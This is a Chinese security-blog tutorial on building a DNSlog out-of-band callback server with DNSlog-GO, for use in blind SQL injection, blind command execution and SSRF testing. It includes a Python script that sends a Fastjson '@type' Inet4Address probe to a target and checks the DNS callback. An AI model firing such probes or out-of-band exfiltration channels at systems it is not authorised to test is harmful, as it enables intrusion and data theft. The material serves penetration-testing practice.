freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DNSlog平台搭建教程
2022-05-17 16:25:35
所属地 辽宁省

DNS log简介

在某些情况下,无法利用漏洞获得回显。但是,如果目标可以发送DNS请求,则可以通过DNS log方式将想获得的数据外带出来(oob)。

DNS log常用于以下情况:

SQL盲注

无回显的命令执行

无回显的SSRF

搭建DNS log平台

前期准备

一台VP*S:

1.1.1.1

两个域名:

a.com
b.com

b.com中添加两个A记录:

修改a.com的NS记录为:

项目部署

参考开源项目DNSlog-GO:

DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具,自带多用户WEB界面

安装

详细图文教程:https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg

个人单独使用推荐使用1.4版本 https://github.com/lanyi1998/DNSlog-GO/releases/tag/1.4

团队使用推荐使用 最新版

1.获取发行版

这里 https://github.com/lanyi1998/DNSlog-GO/releases下载最新发行版,并解压

2.域名与公网 IP 准备
搭建并使用 DNSLog,你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如:1.1.1.1)
    
修改 a.com 的 NS 记录为 

NS1.vp*sip.NIP.IO
NS2.vp*sip.NIP.IO

如 
ns1.1.1.1.1.nip.io
ns1.1.1.1.1.nip.io

本步骤中,需要在域名提供商提供的页面进行设置,部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。
    
注意: NS 记录修改之后部分地区需要 24-48 小时会生效
3.VP*S防火墙放行53端口、80端口,修改配置文件config.ini
[HTTP]
Port = 8080  //http web监听端口
Token = admin1,admin2 //多个用户token,用,分割。可以团队成员一起使用了
ConsoleDisable = false //是否关闭web页面
    
[DNS]
Domain = demo.com //dnslog的域名
4.启动对应系统的客户端,注意服务端重启以后,必须清空一下浏览器中的localStorage,否则会获取不到数据

API Python Demo

import requests
import random
import json


class DnsLog():
    domain = ""
    token = ""
    Webserver = ""

    def __init__(self, Webserver, token):
        self.Webserver = Webserver  # dnslog的http监听地址,格式为 ip:端口
        self.token = token  # token
        # 检测DNSLog服务器是否正常
        try:
            res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()
            self.domain = res.Msg
        except:
            exit("DnsLog 服务器连接失败")
        if res["Msg"] == "false":
            exit("DnsLog token 验证失败")

    # 生成随机子域名
    def randomSubDomain(self, length=5):
        subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
        return subDomain

    # 验证子域名是否存在
    def checkDomain(self, domain):
        res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},
                            headers={"token": self.token}).json()
        if res["Msg"] == "false":
            return False
        else:
            return True


url = "http://192.168.41.2:8090/"

dns = DnsLog("1111:8888", "admin")

subDomain = dns.randomSubDomain()

payload = {
    "b": {
        "@type": "java.net.Inet4Address",
        "val": subDomain
    }
}

requests.post(url, json=payload)

if dns.checkDomain(subDomain):
    print("存在FastJosn")

运行main文件:

./main

使用测试

DNSlog-GO下载地址

DNSlog-GO-linux.zip2.03 MB

DNSlog-GO-mac.zip2.1 MB

DNSlog-GO-Windows.zip2.03 MB

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录